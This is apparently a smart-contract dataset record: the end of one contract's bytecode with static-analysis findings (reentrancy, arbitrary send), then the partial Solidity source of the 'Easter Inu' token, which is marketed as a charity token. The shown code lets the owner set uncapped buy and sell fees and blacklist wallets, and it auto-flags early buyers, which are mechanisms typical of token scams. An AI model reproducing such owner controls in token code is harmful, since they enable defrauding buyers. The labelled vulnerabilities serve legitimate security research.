ffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600f600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b92105a4274916e2bb90212c84bcf1e658a81de90139f617470acfd825d3259e64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 660 |
0xc52615170fefabc6c1e3912a442c62e61e02e5c6 | /**
EASTER INU, charity token helping support Christian charities in celebration of Easter and the resurrection of Jesus. https://t.me/EasterinuETH
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EasterToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Easter Inu";//
string private constant _symbol = "EASTER";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 15;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x4EcC4d159E860211FFc542dc427Af604d91dC22F);//
address payable private _marketingAddress = payable(0xB026f669fDEE6df813aA2eb4Ed3796750e0aE9ee);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 34000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+4 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
